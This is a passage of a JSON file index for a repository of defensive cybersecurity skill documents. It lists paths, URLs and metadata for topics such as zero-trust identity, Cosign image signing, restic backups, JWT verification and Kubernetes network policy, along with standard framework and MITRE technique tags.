Account","tactic":"positioning","source":"f3"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":728,"sizeBytes":3219},{"name":"template.md","path":"skills/implementing-identity-verification-for-zero-trust/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-identity-verification-for-zero-trust/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":814,"sizeBytes":3144},{"name":"api-reference.md","path":"skills/implementing-identity-verification-for-zero-trust/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-identity-verification-for-zero-trust/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":437,"sizeBytes":1817},{"name":"standards.md","path":"skills/implementing-identity-verification-for-zero-trust/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-identity-verification-for-zero-trust/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":827,"sizeBytes":3933},{"name":"workflows.md","path":"skills/implementing-identity-verification-for-zero-trust/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-identity-verification-for-zero-trust/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1435,"sizeBytes":7005},{"name":"SKILL.md","path":"skills/implementing-identity-verification-for-zero-trust/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-identity-verification-for-zero-trust/SKILL.md","title":"implementing-identity-verification-for-zero-trust","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-identity-verification-for-zero-trust%2FSKILL.md -->","frontmatter":{"name":"implementing-identity-verification-for-zero-trust","description":"Implements continuous, risk-adaptive identity verification for zero trust using phishing-resistant MFA (FIDO2/WebAuthn), risk-based conditional access, and identity governance aligned with NIST SP 800-207 and the CISA Zero Trust Maturity Model Identity Pillar. Use when designing zero trust identity controls, deploying phishing-resistant MFA, or building conditional access policies based on device posture, behavior, and location.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["zero-trust","identity","authentication","mfa","identity-verification"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0052"],"nist_ai_rmf":["GOVERN-1.1","GOVERN-1.7","MAP-1.1"],"nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1078","T1190","T1059","T1566","T1598"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","reconnaissance"],"techniques":[{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"T1110.004","name":"Brute Force:  Credential Stuffing","tactic":"initial-access","source":"attack"},{"id":"T1111","name":"Multi-Factor Authentication Interception","tactic":"initial-access","source":"attack"},{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"initial-access","source":"attack"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"}]}},"isInternal":false,"tokens":2117,"sizeBytes":9921},{"name":"api-reference.md","path":"skills/implementing-iec-62443-security-zones/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-iec-62443-security-zones/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iec-62443-security-zones%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":485,"sizeBytes":1770},{"name":"SKILL.md","path":"skills/implementing-iec-62443-security-zones/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-iec-62443-security-zones/SKILL.md","title":"implementing-iec-62443-security-zones","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iec-62443-security-zones%2FSKILL.md -->","frontmatter":{"name":"implementing-iec-62443-security-zones","description":"Designs security zones and conduits for industrial control systems (IACS) per IEC 62443-3-2 — risk-based zone partitioning, Security Level target (SL-T) assignment, conduit controls, and firewall microsegmentation validated against the Purdue Reference Model. Use when designing OT network zones for a new facility, retrofitting zones into a flat OT network, or upgrading VLAN-only segmentation for IEC 62443-3-2 compliance.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","network-segmentation","zones-conduits"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":4915,"sizeBytes":20147},{"name":"template.md","path":"skills/implementing-image-provenance-verification-with-cosign/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-image-provenance-verification-with-cosign/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":335,"sizeBytes":1358},{"name":"api-reference.md","path":"skills/implementing-image-provenance-verification-with-cosign/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-image-provenance-verification-with-cosign/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":493,"sizeBytes":1939},{"name":"standards.md","path":"skills/implementing-image-provenance-verification-with-cosign/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-image-provenance-verification-with-cosign/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":330,"sizeBytes":1361},{"name":"workflows.md","path":"skills/implementing-image-provenance-verification-with-cosign/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-image-provenance-verification-with-cosign/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":321,"sizeBytes":1245},{"name":"SKILL.md","path":"skills/implementing-image-provenance-verification-with-cosign/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-image-provenance-verification-with-cosign/SKILL.md","title":"implementing-image-provenance-verification-with-cosign","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-image-provenance-verification-with-cosign%2FSKILL.md -->","frontmatter":{"name":"implementing-image-provenance-verification-with-cosign","description":"Signs and verifies container image provenance with Sigstore Cosign, covering key-based and keyless OIDC signing (Fulcio, Rekor transparency log), SLSA attestations, and enforcing signature verification through Kubernetes admission control. Use when signing images for supply chain security, setting up keyless OIDC signing, attaching attestations, or enforcing a verified-images-only policy at admission. Keywords: Cosign, Sigstore, Fulcio, Rekor, keyless, attestation, cosign verify, admission policy. Do not use for in-toto layout-based pipeline attestation - use implementing-supply-chain-security-with-in-toto.","domain":"cybersecurity","subdomain":"container-security","tags":["cosign","sigstore","image-signing","supply-chain","provenance","keyless","slsa"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1195"]},"isInternal":false,"tokens":2420,"sizeBytes":9003},{"name":"api-reference.md","path":"skills/implementing-immutable-backup-with-restic/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-immutable-backup-with-restic/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-immutable-backup-with-restic%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":749,"sizeBytes":3035},{"name":"SKILL.md","path":"skills/implementing-immutable-backup-with-restic/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-immutable-backup-with-restic/SKILL.md","title":"implementing-immutable-backup-with-restic","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-immutable-backup-with-restic%2FSKILL.md -->","frontmatter":{"name":"implementing-immutable-backup-with-restic","description":"Implements ransomware-resistant backups using restic with S3-compatible Object Lock (AWS S3, MinIO, Backblaze B2), automating backup creation, integrity checks via restic check --read-data, retention enforcement, and restore testing. Use when building immutable backup infrastructure, adding a WORM copy to a 3-2-1-1-0 strategy, or automating scheduled backup-verification workflows.\n","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["restic","backup","immutable","ransomware","s3","object-lock","worm","recovery"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1078","T1190","T1059","T1486","T1490"]},"isInternal":false,"tokens":1020,"sizeBytes":4176},{"name":"template.md","path":"skills/implementing-infrastructure-as-code-security-scanning/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-infrastructure-as-code-security-scanning/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":569,"sizeBytes":2018},{"name":"api-reference.md","path":"skills/implementing-infrastructure-as-code-security-scanning/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-infrastructure-as-code-security-scanning/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":395,"sizeBytes":1359},{"name":"standards.md","path":"skills/implementing-infrastructure-as-code-security-scanning/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-infrastructure-as-code-security-scanning/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":432,"sizeBytes":1837},{"name":"workflows.md","path":"skills/implementing-infrastructure-as-code-security-scanning/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-infrastructure-as-code-security-scanning/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":801,"sizeBytes":3027},{"name":"SKILL.md","path":"skills/implementing-infrastructure-as-code-security-scanning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-infrastructure-as-code-security-scanning/SKILL.md","title":"implementing-infrastructure-as-code-security-scanning","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-infrastructure-as-code-security-scanning%2FSKILL.md -->","frontmatter":{"name":"implementing-infrastructure-as-code-security-scanning","description":"Implements automated security scanning for Infrastructure as Code using Checkov, tfsec, and KICS to detect misconfigurations in Terraform, CloudFormation, Kubernetes manifests, and Helm charts, plus policy-based governance and CI/CD integration. Use when validating cloud infrastructure before deployment or blocking insecure changes (public S3 buckets, open security groups) in pull requests.\n","domain":"cybersecurity","subdomain":"devsecops","tags":["devsecops","cicd","iac-security","checkov","tfsec","terraform","secure-sdlc"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004","T1078.004","T1530"]},"isInternal":false,"tokens":2170,"sizeBytes":8684},{"name":"template.md","path":"skills/implementing-iso-27001-information-security-management/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-iso-27001-information-security-management/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":2633,"sizeBytes":11715},{"name":"api-reference.md","path":"skills/implementing-iso-27001-information-security-management/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-iso-27001-information-security-management/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":445,"sizeBytes":1571},{"name":"standards.md","path":"skills/implementing-iso-27001-information-security-management/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-iso-27001-information-security-management/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":1944,"sizeBytes":7496},{"name":"workflows.md","path":"skills/implementing-iso-27001-information-security-management/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-iso-27001-information-security-management/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1616,"sizeBytes":6666},{"name":"SKILL.md","path":"skills/implementing-iso-27001-information-security-management/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-iso-27001-information-security-management/SKILL.md","title":"implementing-iso-27001-information-security-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-iso-27001-information-security-management%2FSKILL.md -->","frontmatter":{"name":"implementing-iso-27001-information-security-management","description":"Guides implementation of an ISO/IEC 27001:2022 Information Security Management System (ISMS) end to end: gap analysis and scoping, risk assessment methodology, Annex A control selection, Statement of Applicability (SoA) creation, and continuous improvement. Use when scoping a new ISMS, preparing for ISO 27001 certification or audit, or selecting and documenting Annex A controls for a compliance program.","domain":"cybersecurity","subdomain":"compliance-governance","tags":["compliance","governance","iso27001","isms","risk-management","certification"],"nist_csf":["GV.OC-01","GV.RM-01","GV.PO-01","ID.RA-01","PR.DS-01"],"version":"1.0","author":"mahipal","license":"Apache-2.0","mitre_attack":["T1078","T1530","T1685.002"]},"isInternal":false,"tokens":1891,"sizeBytes":8097},{"name":"template.md","path":"skills/implementing-just-in-time-access-provisioning/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-just-in-time-access-provisioning/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":436,"sizeBytes":1769},{"name":"api-reference.md","path":"skills/implementing-just-in-time-access-provisioning/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-just-in-time-access-provisioning/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":443,"sizeBytes":1685},{"name":"standards.md","path":"skills/implementing-just-in-time-access-provisioning/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-just-in-time-access-provisioning/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":290,"sizeBytes":1152},{"name":"workflows.md","path":"skills/implementing-just-in-time-access-provisioning/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-just-in-time-access-provisioning/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":492,"sizeBytes":2307},{"name":"SKILL.md","path":"skills/implementing-just-in-time-access-provisioning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-just-in-time-access-provisioning/SKILL.md","title":"implementing-just-in-time-access-provisioning","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-just-in-time-access-provisioning%2FSKILL.md -->","frontmatter":{"name":"implementing-just-in-time-access-provisioning","description":"Implements Just-In-Time (JIT) access provisioning to eliminate standing privileges by granting temporary, time-bound access, covering approval workflows, automatic expiration/revocation, and PAM/IGA integration. Use when designing access approval workflows or replacing standing privileged accounts with time-bound, zero-trust-aligned grants.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","jit","provisioning","zero-trust","least-privilege"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"]},"isInternal":false,"tokens":1116,"sizeBytes":5259},{"name":"template.md","path":"skills/implementing-jwt-signing-and-verification/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-jwt-signing-and-verification/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":316,"sizeBytes":1217},{"name":"api-reference.md","path":"skills/implementing-jwt-signing-and-verification/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-jwt-signing-and-verification/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":455,"sizeBytes":1685},{"name":"standards.md","path":"skills/implementing-jwt-signing-and-verification/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-jwt-signing-and-verification/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":326,"sizeBytes":1183},{"name":"workflows.md","path":"skills/implementing-jwt-signing-and-verification/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-jwt-signing-and-verification/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":306,"sizeBytes":1163},{"name":"SKILL.md","path":"skills/implementing-jwt-signing-and-verification/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-jwt-signing-and-verification/SKILL.md","title":"implementing-jwt-signing-and-verification","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-jwt-signing-and-verification%2FSKILL.md -->","frontmatter":{"name":"implementing-jwt-signing-and-verification","description":"Implements secure JWT (RFC 7519) signing and verification using HMAC-SHA256, RSA-PSS, ES256, and EdDSA, including token expiration, claims validation, and defenses against algorithm-confusion, none-algorithm, and key-injection attacks. Use when adding or hardening JWT-based authentication/authorization, or when auditing token verification code for common JWT vulnerabilities.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","jwt","authentication","token-security","digital-signatures"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553"]},"isInternal":false,"tokens":773,"sizeBytes":3456},{"name":"template.md","path":"skills/implementing-kubernetes-network-policy-with-calico/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-kubernetes-network-policy-with-calico/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":479,"sizeBytes":1972},{"name":"api-reference.md","path":"skills/implementing-kubernetes-network-policy-with-calico/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-kubernetes-network-policy-with-calico/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":378,"sizeBytes":1440},{"name":"standards.md","path":"skills/implementing-kubernetes-network-policy-with-calico/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-kubernetes-network-policy-with-calico/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":639,"sizeBytes":2711},{"name":"workflows.md","path":"skills/implementing-kubernetes-network-policy-with-calico/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-kubernetes-network-policy-with-calico/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1192,"sizeBytes":4627},{"name":"SKILL.md","path":"skills/implementing-kubernetes-network-policy-with-calico/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-kubernetes-network-policy-with-calico/SKILL.md","title":"implementing-kubernetes-network-policy-with-calico","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-network-policy-with-calico%2FSKILL.md -->","frontmatter":{"name":"implementing-kubernetes-network-policy-with-calico","description":"Installs Calico as the cluster CNI and writes standard Kubernetes NetworkPolicy under it, covering default-deny baselines, policy ordering and precedence, service-account-based selectors, and verifying that policy is genuinely being enforced. Use when adopting Calico as the enforcement CNI, establishing a default-deny baseline, or debugging why a NetworkPolicy is not taking effect under Calico. Keywords: Calico CNI, NetworkPolicy, default deny, policy order, Felix, service account selector. Do not use for Calico-only CRDs such as GlobalNetworkPolicy or DNS egress - use implementing-container-network-policies-with-calico; for CNI-agnostic policy use implementing-network-policies-for-kubernetes.","domain":"cybersecurity","subdomain":"container-security","tags":["calico","kubernetes","network-policy","network-segmentation","zero-trust","cni"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":2036,"sizeBytes":7972},{"name":"template.md","path":"skills/implementing-kubernetes-pod-security-standards/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-kubernetes-pod-security-standards/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":423,"sizeBytes":1681},{"name":"api-reference.md","path":"skills/implementing-kubernetes-pod-security-standards/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-kubernetes-pod-security-standards/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":384,"sizeBytes":1575},{"name":"standards.md","path":"skills/implementing-kubernetes-pod-security-standards/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-kubernetes-pod-security-standards/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":832,"sizeBytes":3276},{"name":"workflows.md","path":"skills/implementing-kubernetes-pod-security-standards/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-kubernetes-pod-security-standards/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Freferences%2Fworkflows.md 